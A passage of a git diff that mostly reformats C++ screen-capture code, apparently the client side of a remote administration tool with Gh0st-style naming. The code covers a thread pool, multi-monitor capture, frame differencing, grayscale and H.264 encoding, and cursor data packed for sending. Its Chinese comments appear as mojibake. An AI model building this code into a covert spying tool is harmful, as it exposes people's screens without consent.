this->tasks.pop(); - } + // 캯̶߳ + ThreadPool(size_t numThreads) : stop(false) + { + for (size_t i = 0; i < numThreads; ++i) { + workers.emplace_back([this] { + while (true) { + std::function task; + { + std::unique_lock lock(this->queueMutex); + this->condition.wait(lock, [this] { return this->stop || !this->tasks.empty(); }); + if (this->stop && this->tasks.empty()) return; + task = std::move(this->tasks.front()); + this->tasks.pop(); + } - try { - task(); - } - catch (...) { - // 쳣 - } - } - }); - } - } + try { + task(); + } catch (...) { + // 쳣 + } + } + }); + } + } - // ̳߳ - ~ThreadPool() { - { - std::unique_lock lock(queueMutex); - stop = true; - } - condition.notify_all(); - for (std::thread& worker : workers) - worker.join(); - } + // ̳߳ + ~ThreadPool() + { + { + std::unique_lock lock(queueMutex); + stop = true; + } + condition.notify_all(); + for (std::thread& worker : workers) + worker.join(); + } - // ύ - template - auto enqueue(F&& f) -> std::future { - using ReturnType = decltype(f()); - auto task = std::make_shared>(std::forward(f)); - std::future res = task->get_future(); - { - std::unique_lock lock(queueMutex); - tasks.emplace([task]() { (*task)(); }); - } - condition.notify_one(); - return res; - } + // ύ + template + auto enqueue(F&& f) -> std::future + { + using ReturnType = decltype(f()); + auto task = std::make_shared>(std::forward(f)); + std::future res = task->get_future(); + { + std::unique_lock lock(queueMutex); + tasks.emplace([task]() { + (*task)(); + }); + } + condition.notify_one(); + return res; + } - void waitAll() { - std::unique_lock lock(queueMutex); - condition.wait(lock, [this] { return tasks.empty(); }); - } + void waitAll() + { + std::unique_lock lock(queueMutex); + condition.wait(lock, [this] { return tasks.empty(); }); + } private: - std::vector workers; - std::queue> tasks; + std::vector workers; + std::queue> tasks; - std::mutex queueMutex; - std::condition_variable condition; - std::atomic stop; + std::mutex queueMutex; + std::condition_variable condition; + std::atomic stop; }; class ScreenCapture { private: - static BOOL CALLBACK MonitorEnumProc(HMONITOR hMonitor, HDC hdcMonitor, LPRECT lprcMonitor, LPARAM dwData) - { - std::vector* monitors = reinterpret_cast*>(dwData); + static BOOL CALLBACK MonitorEnumProc(HMONITOR hMonitor, HDC hdcMonitor, LPRECT lprcMonitor, LPARAM dwData) + { + std::vector* monitors = reinterpret_cast*>(dwData); - MONITORINFOEX mi; - mi.cbSize = sizeof(MONITORINFOEX); - if (GetMonitorInfo(hMonitor, &mi)) - { - monitors->push_back(mi); // ʾϢ - } - return TRUE; - } - std::vector GetAllMonitors() - { - std::vector monitors; - EnumDisplayMonitors(nullptr, nullptr, MonitorEnumProc, (LPARAM)&monitors); - return monitors; - } + MONITORINFOEX mi; + mi.cbSize = sizeof(MONITORINFOEX); + if (GetMonitorInfo(hMonitor, &mi)) { + monitors->push_back(mi); // ʾϢ + } + return TRUE; + } + std::vector GetAllMonitors() + { + std::vector monitors; + EnumDisplayMonitors(nullptr, nullptr, MonitorEnumProc, (LPARAM)&monitors); + return monitors; + } public: - ThreadPool* m_ThreadPool; // ̳߳ - BYTE* m_FirstBuffer; // һ֡ - BYTE* m_RectBuffer; // ǰ - LPBYTE* m_BlockBuffers; // ֿ黺 - ULONG* m_BlockSizes; // ֿ - int m_BlockNum; // ֿ - int m_SendQuality; // + ThreadPool* m_ThreadPool; // ̳߳ + BYTE* m_FirstBuffer; // һ֡ + BYTE* m_RectBuffer; // ǰ + LPBYTE* m_BlockBuffers; // ֿ黺 + ULONG* m_BlockSizes; // ֿ + int m_BlockNum; // ֿ + int m_SendQuality; // - LPBITMAPINFO m_BitmapInfor_Full; // BMPϢ - BYTE m_bAlgorithm; // Ļ㷨 + LPBITMAPINFO m_BitmapInfor_Full; // BMPϢ + BYTE m_bAlgorithm; // Ļ㷨 - int m_iScreenX; // ʼx - int m_iScreenY; // ʼy - ULONG m_ulFullWidth; // Ļ - ULONG m_ulFullHeight; // Ļ - bool m_bZoomed; // Ļ - double m_wZoom; // Ļű - double m_hZoom; // Ļű + int m_iScreenX; // ʼx + int m_iScreenY; // ʼy + ULONG m_ulFullWidth; // Ļ + ULONG m_ulFullHeight; // Ļ + bool m_bZoomed; // Ļ + double m_wZoom; // Ļű + double m_hZoom; // Ļű - int m_biBitCount; // ÿر - int m_FrameID; // ֡ - int m_GOP; // ؼ֡ - bool m_SendKeyFrame; // ͹ؼ֡ - CX264Encoder *m_encoder; // + int m_biBitCount; // ÿر + int m_FrameID; // ֡ + int m_GOP; // ؼ֡ + bool m_SendKeyFrame; // ͹ؼ֡ + CX264Encoder *m_encoder; // - ScreenCapture(int n = 32, BYTE algo = ALGORITHM_DIFF, BOOL all = FALSE) : - m_ThreadPool(nullptr), m_FirstBuffer(nullptr), m_RectBuffer(nullptr), - m_BitmapInfor_Full(nullptr), m_bAlgorithm(algo), m_SendQuality(100), - m_ulFullWidth(0), m_ulFullHeight(0), m_bZoomed(false), m_wZoom(1), m_hZoom(1), - m_FrameID(0), m_GOP(DEFAULT_GOP), m_iScreenX(0), m_iScreenY(0), m_biBitCount(n), - m_SendKeyFrame(false), m_encoder(nullptr) { + ScreenCapture(int n = 32, BYTE algo = ALGORITHM_DIFF, BOOL all = FALSE) : + m_ThreadPool(nullptr), m_FirstBuffer(nullptr), m_RectBuffer(nullptr), + m_BitmapInfor_Full(nullptr), m_bAlgorithm(algo), m_SendQuality(100), + m_ulFullWidth(0), m_ulFullHeight(0), m_bZoomed(false), m_wZoom(1), m_hZoom(1), + m_FrameID(0), m_GOP(DEFAULT_GOP), m_iScreenX(0), m_iScreenY(0), m_biBitCount(n), + m_SendKeyFrame(false), m_encoder(nullptr) + { - m_BlockNum = 8; - m_ThreadPool = new ThreadPool(m_BlockNum); - static auto monitors = GetAllMonitors(); - static int index = 0; - if (all && !monitors.empty()) - { - int idx = index++ % (monitors.size()+1); - if (idx == 0) { - m_iScreenX = GetSystemMetrics(SM_XVIRTUALSCREEN); - m_iScreenY = GetSystemMetrics(SM_YVIRTUALSCREEN); - m_ulFullWidth = GetSystemMetrics(SM_CXVIRTUALSCREEN); - m_ulFullHeight = GetSystemMetrics(SM_CYVIRTUALSCREEN); - } - else { - RECT rt = monitors[idx-1].rcMonitor; - m_iScreenX = rt.left; - m_iScreenY = rt.top; - m_ulFullWidth = rt.right - rt.left; - m_ulFullHeight = rt.bottom - rt.top; - } - } else { - //::GetSystemMetrics(SM_CXSCREEN/SM_CYSCREEN)ȡĻС׼ - //統ĻʾΪ125%ʱȡĻСҪ1.25Ŷ - DEVMODE devmode; - memset(&devmode, 0, sizeof(devmode)); - devmode.dmSize = sizeof(DEVMODE); - devmode.dmDriverExtra = 0; - BOOL Isgetdisplay = EnumDisplaySettingsA(NULL, ENUM_CURRENT_SETTINGS, &devmode); - m_ulFullWidth = devmode.dmPelsWidth; - m_ulFullHeight = devmode.dmPelsHeight; - int w = GetSystemMetrics(SM_CXSCREEN), h = GetSystemMetrics(SM_CYSCREEN); - m_bZoomed = (w != m_ulFullWidth) || (h != m_ulFullHeight); - m_wZoom = double(m_ulFullWidth) / w, m_hZoom = double(m_ulFullHeight) / h; - Mprintf("=> ű: %.2f, %.2f\tֱʣ%d x %d\n", m_wZoom, m_hZoom, m_ulFullWidth, m_ulFullHeight); - m_wZoom = 1.0 / m_wZoom, m_hZoom = 1.0 / m_hZoom; - } - if (ALGORITHM_H264 == m_bAlgorithm) - { - m_encoder = new CX264Encoder(); - if (!m_encoder->open(m_ulFullWidth, m_ulFullHeight, 20, m_ulFullWidth * m_ulFullHeight / 1266)) { - Mprintf("Open x264encoder failed!!!\n"); - } - } + m_BlockNum = 8; + m_ThreadPool = new ThreadPool(m_BlockNum); + static auto monitors = GetAllMonitors(); + static int index = 0; + if (all && !monitors.empty()) { + int idx = index++ % (monitors.size()+1); + if (idx == 0) { + m_iScreenX = GetSystemMetrics(SM_XVIRTUALSCREEN); + m_iScreenY = GetSystemMetrics(SM_YVIRTUALSCREEN); + m_ulFullWidth = GetSystemMetrics(SM_CXVIRTUALSCREEN); + m_ulFullHeight = GetSystemMetrics(SM_CYVIRTUALSCREEN); + } else { + RECT rt = monitors[idx-1].rcMonitor; + m_iScreenX = rt.left; + m_iScreenY = rt.top; + m_ulFullWidth = rt.right - rt.left; + m_ulFullHeight = rt.bottom - rt.top; + } + } else { + //::GetSystemMetrics(SM_CXSCREEN/SM_CYSCREEN)ȡĻС׼ + //統ĻʾΪ125%ʱȡĻСҪ1.25Ŷ + DEVMODE devmode; + memset(&devmode, 0, sizeof(devmode)); + devmode.dmSize = sizeof(DEVMODE); + devmode.dmDriverExtra = 0; + BOOL Isgetdisplay = EnumDisplaySettingsA(NULL, ENUM_CURRENT_SETTINGS, &devmode); + m_ulFullWidth = devmode.dmPelsWidth; + m_ulFullHeight = devmode.dmPelsHeight; + int w = GetSystemMetrics(SM_CXSCREEN), h = GetSystemMetrics(SM_CYSCREEN); + m_bZoomed = (w != m_ulFullWidth) || (h != m_ulFullHeight); + m_wZoom = double(m_ulFullWidth) / w, m_hZoom = double(m_ulFullHeight) / h; + Mprintf("=> ű: %.2f, %.2f\tֱʣ%d x %d\n", m_wZoom, m_hZoom, m_ulFullWidth, m_ulFullHeight); + m_wZoom = 1.0 / m_wZoom, m_hZoom = 1.0 / m_hZoom; + } + if (ALGORITHM_H264 == m_bAlgorithm) { + m_encoder = new CX264Encoder(); + if (!m_encoder->open(m_ulFullWidth, m_ulFullHeight, 20, m_ulFullWidth * m_ulFullHeight / 1266)) { + Mprintf("Open x264encoder failed!!!\n"); + } + } - m_BlockBuffers = new LPBYTE[m_BlockNum]; - m_BlockSizes = new ULONG[m_BlockNum]; - for (int blockY = 0; blockY < m_BlockNum; ++blockY) { - m_BlockBuffers[blockY] = new BYTE[m_ulFullWidth * m_ulFullHeight * 4 * 2 / m_BlockNum + 12]; - } - } - virtual ~ScreenCapture(){ - if (m_BitmapInfor_Full != NULL) { - delete[](char*)m_BitmapInfor_Full; - m_BitmapInfor_Full = NULL; - } - SAFE_DELETE_ARRAY(m_RectBuffer); + m_BlockBuffers = new LPBYTE[m_BlockNum]; + m_BlockSizes = new ULONG[m_BlockNum]; + for (int blockY = 0; blockY < m_BlockNum; ++blockY) { + m_BlockBuffers[blockY] = new BYTE[m_ulFullWidth * m_ulFullHeight * 4 * 2 / m_BlockNum + 12]; + } + } + virtual ~ScreenCapture() + { + if (m_BitmapInfor_Full != NULL) { + delete[](char*)m_BitmapInfor_Full; + m_BitmapInfor_Full = NULL; + } + SAFE_DELETE_ARRAY(m_RectBuffer); - for (int blockY = 0; blockY < m_BlockNum; ++blockY) { - SAFE_DELETE_ARRAY(m_BlockBuffers[blockY]); - } - SAFE_DELETE_ARRAY(m_BlockBuffers); - SAFE_DELETE_ARRAY(m_BlockSizes); + for (int blockY = 0; blockY < m_BlockNum; ++blockY) { + SAFE_DELETE_ARRAY(m_BlockBuffers[blockY]); + } + SAFE_DELETE_ARRAY(m_BlockBuffers); + SAFE_DELETE_ARRAY(m_BlockSizes); - SAFE_DELETE(m_ThreadPool); - SAFE_DELETE(m_encoder); - } + SAFE_DELETE(m_ThreadPool); + SAFE_DELETE(m_encoder); + } - virtual int SendQuality(int quality) { - int old = m_SendQuality; - m_SendQuality = quality; - return old; - } + virtual int SendQuality(int quality) + { + int old = m_SendQuality; + m_SendQuality = quality; + return old; + } - virtual RECT GetScreenRect() const { - RECT rect; - rect.left = m_iScreenX; - rect.top = m_iScreenY; - rect.right = m_ulFullWidth; - rect.bottom = m_ulFullHeight; - return rect; - } + virtual RECT GetScreenRect() const + { + RECT rect; + rect.left = m_iScreenX; + rect.top = m_iScreenY; + rect.right = m_ulFullWidth; + rect.bottom = m_ulFullHeight; + return rect; + } public: - //*************************************** ͼ㷨У ************************************* - virtual ULONG CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData, LPBYTE szBuffer, - DWORD ulCompareLength, BYTE algo, int startPostion = 0) { + //*************************************** ͼ㷨У ************************************* + virtual ULONG CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData, LPBYTE szBuffer, + DWORD ulCompareLength, BYTE algo, int startPostion = 0) + { - // Windows涨һɨռֽ4ı, DWORDȽ - LPDWORD p1 = (LPDWORD)CompareDestData, p2 = (LPDWORD)CompareSourData; - LPBYTE p = szBuffer; - ULONG channel = algo == ALGORITHM_GRAY ? 1 : 4; - ULONG ratio = algo == ALGORITHM_GRAY ? 4 : 1; - for (ULONG i = 0; i < ulCompareLength; i += 4, ++p1, ++p2) { - if (*p1 == *p2) - continue; - ULONG index = i; - LPDWORD pos1 = p1++, pos2 = p2++; - // мֵͬ - for (i += 4; i < ulCompareLength && *p1 != *p2; i += 4, ++p1, ++p2); - ULONG ulCount = i - index; - memcpy(pos1, pos2, ulCount); // Ŀ + // Windows涨һɨռֽ4ı, DWORDȽ + LPDWORD p1 = (LPDWORD)CompareDestData, p2 = (LPDWORD)CompareSourData; + LPBYTE p = szBuffer; + ULONG channel = algo == ALGORITHM_GRAY ? 1 : 4; + ULONG ratio = algo == ALGORITHM_GRAY ? 4 : 1; + for (ULONG i = 0; i < ulCompareLength; i += 4, ++p1, ++p2) { + if (*p1 == *p2) + continue; + ULONG index = i; + LPDWORD pos1 = p1++, pos2 = p2++; + // мֵͬ + for (i += 4; i < ulCompareLength && *p1 != *p2; i += 4, ++p1, ++p2); + ULONG ulCount = i - index; + memcpy(pos1, pos2, ulCount); // Ŀ - *(LPDWORD)(p) = index + startPostion; - *(LPDWORD)(p + sizeof(ULONG)) = ulCount / ratio; - p += 2 * sizeof(ULONG); - if (channel != 1) { - memcpy(p, pos2, ulCount); - p += ulCount; - } - else { - for (LPBYTE end = p + ulCount / ratio; p < end; p += channel, ++pos2) { - LPBYTE src = (LPBYTE)pos2; - *p = (306 * src[2] + 601 * src[0] + 117 * src[1]) >> 10; - } - } - } + *(LPDWORD)(p) = index + startPostion; + *(LPDWORD)(p + sizeof(ULONG)) = ulCount / ratio; + p += 2 * sizeof(ULONG); + if (channel != 1) { + memcpy(p, pos2, ulCount); + p += ulCount; + } else { + for (LPBYTE end = p + ulCount / ratio; p < end; p += channel, ++pos2) { + LPBYTE src = (LPBYTE)pos2; + *p = (306 * src[2] + 601 * src[0] + 117 * src[1]) >> 10; + } + } + } - return p - szBuffer; - } + return p - szBuffer; + } - //*************************************** ͼ㷨У ************************************* - ULONG MultiCompareBitmap(LPBYTE srcData, LPBYTE dstData, LPBYTE szBuffer, - DWORD ulCompareLength, BYTE algo) { + //*************************************** ͼ㷨У ************************************* + ULONG MultiCompareBitmap(LPBYTE srcData, LPBYTE dstData, LPBYTE szBuffer, + DWORD ulCompareLength, BYTE algo) + { - int N = m_BlockNum; - ULONG blockLength = ulCompareLength / N; // ÿĻֽ - ULONG remainingLength = ulCompareLength % N; // ʣֽ + int N = m_BlockNum; + ULONG blockLength = ulCompareLength / N; // ÿĻֽ + ULONG remainingLength = ulCompareLength % N; // ʣֽ - std::vector> futures; - for (int blockY = 0; blockY < N; ++blockY) { - // 㵱ǰֽ - ULONG currentBlockLength = blockLength + (blockY == N - 1 ? remainingLength : 0); - // 㵱ǰʼλ - ULONG startPosition = blockY * blockLength; + std::vector> futures; + for (int blockY = 0; blockY < N; ++blockY) { + // 㵱ǰֽ + ULONG currentBlockLength = blockLength + (blockY == N - 1 ? remainingLength : 0); + // 㵱ǰʼλ + ULONG startPosition = blockY * blockLength; - futures.emplace_back(m_ThreadPool->enqueue([=]() -> ULONG { - LPBYTE srcBlock = srcData + startPosition; - LPBYTE dstBlock = dstData + startPosition; - LPBYTE blockBuffer = m_BlockBuffers[blockY]; + futures.emplace_back(m_ThreadPool->enqueue([=]() -> ULONG { + LPBYTE srcBlock = srcData + startPosition; + LPBYTE dstBlock = dstData + startPosition; + LPBYTE blockBuffer = m_BlockBuffers[blockY]; - // ǰ񲢷رȶݴС - return m_BlockSizes[blockY] = CompareBitmap(srcBlock, dstBlock, blockBuffer, currentBlockLength, algo, startPosition); - })); - } + // ǰ񲢷رȶݴС + return m_BlockSizes[blockY] = CompareBitmap(srcBlock, dstBlock, blockBuffer, currentBlockLength, algo, startPosition); + })); + } - // ȴɲȡֵ - for (auto& future : futures) { - future.get(); - } + // ȴɲȡֵ + for (auto& future : futures) { + future.get(); + } - // ϲпIJϢ szBuffer - ULONG offset = 0; - for (int blockY = 0; blockY < N; ++blockY) { - memcpy(szBuffer + offset, m_BlockBuffers[blockY], m_BlockSizes[blockY]); - offset += m_BlockSizes[blockY]; - } + // ϲпIJϢ szBuffer + ULONG offset = 0; + for (int blockY = 0; blockY < N; ++blockY) { + memcpy(szBuffer + offset, m_BlockBuffers[blockY], m_BlockSizes[blockY]); + offset += m_BlockSizes[blockY]; + } - return offset; // ػĴС - } + return offset; // ػĴС + } - virtual int GetFrameID() const { - return m_FrameID; - } + virtual int GetFrameID() const { + return m_FrameID; + } - virtual LPBYTE GetFirstBuffer() const { - return m_FirstBuffer; - } + virtual LPBYTE GetFirstBuffer() const { + return m_FirstBuffer; + } - virtual int GetBMPSize() const { - assert(m_BitmapInfor_Full); - return m_BitmapInfor_Full->bmiHeader.biSizeImage; - } + virtual int GetBMPSize() const { + assert(m_BitmapInfor_Full); + return m_BitmapInfor_Full->bmiHeader.biSizeImage; + } - void ToGray(LPBYTE dst, LPBYTE src, int biSizeImage) { - for (ULONG i = 0; i < biSizeImage; i += 4, dst += 4, src += 4) { - dst[0] = dst[1] = dst[2] = (306 * src[2] + 601 * src[0] + 117 * src[1]) >> 10; - } - } + void ToGray(LPBYTE dst, LPBYTE src, int biSizeImage) + { + for (ULONG i = 0; i < biSizeImage; i += 4, dst += 4, src += 4) { + dst[0] = dst[1] = dst[2] = (306 * src[2] + 601 * src[0] + 117 * src[1]) >> 10; + } + } - virtual LPBITMAPINFO ConstructBitmapInfo(int biBitCount, int biWidth, int biHeight) - { - assert(biBitCount == 32); - BITMAPINFO* bmpInfo = (BITMAPINFO*) new BYTE[sizeof(BITMAPINFO)](); - bmpInfo->bmiHeader.biSize = sizeof(BITMAPINFOHEADER); - bmpInfo->bmiHeader.biWidth = biWidth; - bmpInfo->bmiHeader.biHeight = biHeight; - bmpInfo->bmiHeader.biPlanes = 1; - bmpInfo->bmiHeader.biBitCount = 32; - bmpInfo->bmiHeader.biCompression = BI_RGB; - bmpInfo->bmiHeader.biSizeImage = biWidth * biHeight * 4; - return bmpInfo; - } + virtual LPBITMAPINFO ConstructBitmapInfo(int biBitCount, int biWidth, int biHeight) + { + assert(biBitCount == 32); + BITMAPINFO* bmpInfo = (BITMAPINFO*) new BYTE[sizeof(BITMAPINFO)](); + bmpInfo->bmiHeader.biSize = sizeof(BITMAPINFOHEADER); + bmpInfo->bmiHeader.biWidth = biWidth; + bmpInfo->bmiHeader.biHeight = biHeight; + bmpInfo->bmiHeader.biPlanes = 1; + bmpInfo->bmiHeader.biBitCount = 32; + bmpInfo->bmiHeader.biCompression = BI_RGB; + bmpInfo->bmiHeader.biSizeImage = biWidth * biHeight * 4; + return bmpInfo; + } - // 㷨+λ+ - virtual LPBYTE GetNextScreenData(ULONG* ulNextSendLength) { - BYTE algo = m_bAlgorithm; - int frameID = m_FrameID + 1; - bool keyFrame = (frameID % m_GOP == 0); - m_RectBuffer[0] = keyFrame ? TOKEN_KEYFRAME : TOKEN_NEXTSCREEN; - LPBYTE data = m_RectBuffer + 1; - // дʹ㷨 - memcpy(data, (LPBYTE)&algo, sizeof(BYTE)); + // 㷨+λ+ + virtual LPBYTE GetNextScreenData(ULONG* ulNextSendLength) + { + BYTE algo = m_bAlgorithm; + int frameID = m_FrameID + 1; + bool keyFrame = (frameID % m_GOP == 0); + m_RectBuffer[0] = keyFrame ? TOKEN_KEYFRAME : TOKEN_NEXTSCREEN; + LPBYTE data = m_RectBuffer + 1; + // дʹ㷨 + memcpy(data, (LPBYTE)&algo, sizeof(BYTE)); - // дλ - POINT CursorPos; - GetCursorPos(&CursorPos); - CursorPos.x /= m_wZoom; - CursorPos.y /= m_hZoom; - memcpy(data + sizeof(BYTE), (LPBYTE)&CursorPos, sizeof(POINT)); + // дλ + POINT CursorPos; + GetCursorPos(&CursorPos); + CursorPos.x /= m_wZoom; + CursorPos.y /= m_hZoom; + memcpy(data + sizeof(BYTE), (LPBYTE)&CursorPos, sizeof(POINT)); - // д뵱ǰ - static CCursorInfo m_CursorInfor; - BYTE bCursorIndex = m_CursorInfor.getCurrentCursorIndex(); - memcpy(data + sizeof(BYTE) + sizeof(POINT), &bCursorIndex, sizeof(BYTE)); - ULONG offset = sizeof(BYTE) + sizeof(POINT) + sizeof(BYTE); + // д뵱ǰ + static CCursorInfo m_CursorInfor; + BYTE bCursorIndex = m_CursorInfor.getCurrentCursorIndex(); + memcpy(data + sizeof(BYTE) + sizeof(POINT), &bCursorIndex, sizeof(BYTE)); + ULONG offset = sizeof(BYTE) + sizeof(POINT) + sizeof(BYTE); - // ֶɨȫĻ µλͼ뵽m_hDiffMemDC - LPBYTE nextData = ScanNextScreen(); - if (nullptr == nextData) { - // ɨһ֡ʧҲҪ͹Ϣƶ - *ulNextSendLength = 1 + offset; - return m_RectBuffer; - } + // ֶɨȫĻ µλͼ뵽m_hDiffMemDC + LPBYTE nextData = ScanNextScreen(); + if (nullptr == nextData) { + // ɨһ֡ʧҲҪ͹Ϣƶ + *ulNextSendLength = 1 + offset; + return m_RectBuffer; + } #if SCREENYSPY_IMPROVE - memcpy(data + offset, &++m_FrameID, sizeof(int)); - offset += sizeof(int); + memcpy(data + offset, &++m_FrameID, sizeof(int)); + offset += sizeof(int); #if SCREENSPY_WRITE - WriteBitmap(m_BitmapInfor_Full, nextData, "GHOST", m_FrameID); + WriteBitmap(m_BitmapInfor_Full, nextData, "GHOST", m_FrameID); #endif #else - m_FrameID++; + m_FrameID++; #endif - if (keyFrame) - { - switch (algo) - { - case ALGORITHM_DIFF: { - *ulNextSendLength = 1 + offset + m_BitmapInfor_Full->bmiHeader.biSizeImage; - memcpy(data + offset, nextData, m_BitmapInfor_Full->bmiHeader.biSizeImage); - break; - } - case ALGORITHM_GRAY: { - *ulNextSendLength = 1 + offset + m_BitmapInfor_Full->bmiHeader.biSizeImage; - ToGray(data + offset, nextData, m_BitmapInfor_Full->bmiHeader.biSizeImage); - break; - } - case ALGORITHM_H264: { - uint8_t* encoded_data = nullptr; - uint32_t encoded_size = 0; - int err = m_encoder->encode(nextData, 32, 4*m_BitmapInfor_Full->bmiHeader.biWidth, - m_ulFullWidth, m_ulFullHeight, &encoded_data, &encoded_size); - if (err) { - return nullptr; - } - *ulNextSendLength = 1 + offset + encoded_size; - memcpy(data + offset, encoded_data, encoded_size); - break; - } - default: - break; - } - memcpy(GetFirstBuffer(), nextData, m_BitmapInfor_Full->bmiHeader.biSizeImage); - } - else { - switch (algo) - { - case ALGORITHM_DIFF: case ALGORITHM_GRAY: { - *ulNextSendLength = 1 + offset + MultiCompareBitmap(nextData, GetFirstBuffer(), data + offset, GetBMPSize(), algo); - break; - } - case ALGORITHM_H264: { - uint8_t* encoded_data = nullptr; - uint32_t encoded_size = 0; - int err = m_encoder->encode(nextData, 32, 4 * m_BitmapInfor_Full->bmiHeader.biWidth, - m_ulFullWidth, m_ulFullHeight, &encoded_data, &encoded_size); - if (err) { - return nullptr; - } - *ulNextSendLength = 1 + offset + encoded_size; - memcpy(data + offset, encoded_data, encoded_size); - break; - } - default: - break; - } - } + if (keyFrame) { + switch (algo) { + case ALGORITHM_DIFF: { + *ulNextSendLength = 1 + offset + m_BitmapInfor_Full->bmiHeader.biSizeImage; + memcpy(data + offset, nextData, m_BitmapInfor_Full->bmiHeader.biSizeImage); + break; + } + case ALGORITHM_GRAY: { + *ulNextSendLength = 1 + offset + m_BitmapInfor_Full->bmiHeader.biSizeImage; + ToGray(data + offset, nextData, m_BitmapInfor_Full->bmiHeader.biSizeImage); + break; + } + case ALGORITHM_H264: { + uint8_t* encoded_data = nullptr; + uint32_t encoded_size = 0; + int err = m_encoder->encode(nextData, 32, 4*m_BitmapInfor_Full->bmiHeader.biWidth, + m_ulFullWidth, m_ulFullHeight, &encoded_data, &encoded_size); + if (err) { + return nullptr; + } + *ulNextSendLength = 1 + offset + encoded_size; + memcpy(data + offset, encoded_data, encoded_size); + break; + } + default: + break; + } + memcpy(GetFirstBuffer(), nextData, m_BitmapInfor_Full->bmiHeader.biSizeImage); + } else { + switch (algo) { + case ALGORITHM_DIFF: + case ALGORITHM_GRAY: { + *ulNextSendLength = 1 + offset + MultiCompareBitmap(nextData, GetFirstBuffer(), data + offset, GetBMPSize(), algo); + break; + } + case ALGORITHM_H264: { + uint8_t* encoded_data = nullptr; + uint32_t encoded_size = 0; + int err = m_encoder->encode(nextData, 32, 4 * m_BitmapInfor_Full->bmiHeader.biWidth, + m_ulFullWidth, m_ulFullHeight, &encoded_data, &encoded_size); + if (err) { + return nullptr; + } + *ulNextSendLength = 1 + offset + encoded_size; + memcpy(data + offset, encoded_data, encoded_size); + break; + } + default: + break; + } + } - return m_RectBuffer; - } + return m_RectBuffer; + } - // Ļ㷨 - virtual BYTE SetAlgorithm(int algo) { - BYTE oldAlgo = m_bAlgorithm; - m_bAlgorithm = algo; - return oldAlgo; - } + // Ļ㷨 + virtual BYTE SetAlgorithm(int algo) + { + BYTE oldAlgo = m_bAlgorithm; + m_bAlgorithm = algo; + return oldAlgo; + } - // λת - virtual void PointConversion(POINT& pt) const { - if (m_bZoomed) { - pt.x *= m_wZoom; - pt.y *= m_hZoom; - } - pt.x += m_iScreenX; - pt.y += m_iScreenY; - } + // λת + virtual void PointConversion(POINT& pt) const + { + if (m_bZoomed) { + pt.x *= m_wZoom; + pt.y *= m_hZoom; + } + pt.x += m_iScreenX; + pt.y += m_iScreenY; + } - // ȡλͼṹϢ - virtual const LPBITMAPINFO& GetBIData() const { - return m_BitmapInfor_Full; - } + // ȡλͼṹϢ + virtual const LPBITMAPINFO& GetBIData() const + { + return m_BitmapInfor_Full; + } public: // ӿ - // ȡһ֡Ļ - virtual LPBYTE GetFirstScreenData(ULONG* ulFirstScreenLength) = 0; + // ȡһ֡Ļ + virtual LPBYTE GetFirstScreenData(ULONG* ulFirstScreenLength) = 0; - // ȡһ֡Ļ - virtual LPBYTE ScanNextScreen() = 0; + // ȡһ֡Ļ + virtual LPBYTE ScanNextScreen() = 0; }; diff --git a/client/ScreenCapturerDXGI.h b/client/ScreenCapturerDXGI.h index 35b9b63..1cd57db 100644 --- a/client/ScreenCapturerDXGI.h +++ b/client/ScreenCapturerDXGI.h @@ -11,201 +11,211 @@ #pragma comment(lib, "d3d11.lib") #pragma comment(lib, "dxgi.lib") -// author: ChatGPT +// author: ChatGPT // update: 962914132@qq.com // DXGI 1.2IDXGIOutputDuplicationȴͳ GDI ͨ 3 10 ֮䣬ȡӲֱʺʹó -class ScreenCapturerDXGI : public ScreenCapture { +class ScreenCapturerDXGI : public ScreenCapture +{ private: - ID3D11Device* d3dDevice = nullptr; - ID3D11DeviceContext* d3dContext = nullptr; - IDXGIOutputDuplication* deskDupl = nullptr; - ID3D11Texture2D* cpuTexture = nullptr; - BYTE* m_NextBuffer = nullptr; + ID3D11Device* d3dDevice = nullptr; + ID3D11DeviceContext* d3dContext = nullptr; + IDXGIOutputDuplication* deskDupl = nullptr; + ID3D11Texture2D* cpuTexture = nullptr; + BYTE* m_NextBuffer = nullptr; public: - ScreenCapturerDXGI(BYTE algo, int gop = DEFAULT_GOP, BOOL all = FALSE) : ScreenCapture(32, algo, all) { - m_GOP = gop; - InitDXGI(all); - Mprintf("Capture screen with DXGI: GOP= %d\n", m_GOP); - } + ScreenCapturerDXGI(BYTE algo, int gop = DEFAULT_GOP, BOOL all = FALSE) : ScreenCapture(32, algo, all) + { + m_GOP = gop; + InitDXGI(all); + Mprintf("Capture screen with DXGI: GOP= %d\n", m_GOP); + } - ~ScreenCapturerDXGI() { - CleanupDXGI(); + ~ScreenCapturerDXGI() + { + CleanupDXGI(); - SAFE_DELETE_ARRAY(m_FirstBuffer); - SAFE_DELETE_ARRAY(m_NextBuffer); - SAFE_DELETE_ARRAY(m_RectBuffer); - } + SAFE_DELETE_ARRAY(m_FirstBuffer); + SAFE_DELETE_ARRAY(m_NextBuffer); + SAFE_DELETE_ARRAY(m_RectBuffer); + } - void InitDXGI(BOOL all) { - m_iScreenX = 0; - m_iScreenY = 0; - // 1. D3D11 豸 - D3D11CreateDevice(nullptr, D3D_DRIVER_TYPE_HARDWARE, NULL, 0, nullptr, 0, D3D11_SDK_VERSION, &d3dDevice, nullptr, &d3dContext); - - IDXGIFactory1* pFactory = nullptr; - IDXGIAdapter1* dxgiAdapter = nullptr; - IDXGIOutput* dxgiOutput = nullptr; - IDXGIOutput1* dxgiOutput1 = nullptr; + void InitDXGI(BOOL all) + { + m_iScreenX = 0; + m_iScreenY = 0; + // 1. D3D11 豸 + D3D11CreateDevice(nullptr, D3D_DRIVER_TYPE_HARDWARE, NULL, 0, nullptr, 0, D3D11_SDK_VERSION, &d3dDevice, nullptr, &d3dContext); - // 2. - CreateDXGIFactory1(__uuidof(IDXGIFactory1), (void**)&pFactory); - if (!pFactory) return; + IDXGIFactory1* pFactory = nullptr; + IDXGIAdapter1* dxgiAdapter = nullptr; + IDXGIOutput* dxgiOutput = nullptr; + IDXGIOutput1* dxgiOutput1 = nullptr; - do { - // 3. ȡ豸 - static UINT idx = 0; - idx = pFactory->EnumAdapters1(idx, &dxgiAdapter) == DXGI_ERROR_NOT_FOUND ? 0 : idx; - if (!dxgiAdapter) pFactory->EnumAdapters1(idx, &dxgiAdapter); - if (!dxgiAdapter)break; + // 2. + CreateDXGIFactory1(__uuidof(IDXGIFactory1), (void**)&pFactory); + if (!pFactory) return; - // 4. ȡ DXGI Ļ - static UINT screen = 0; - HRESULT r = dxgiAdapter->EnumOutputs(screen++, &dxgiOutput); - if (r == 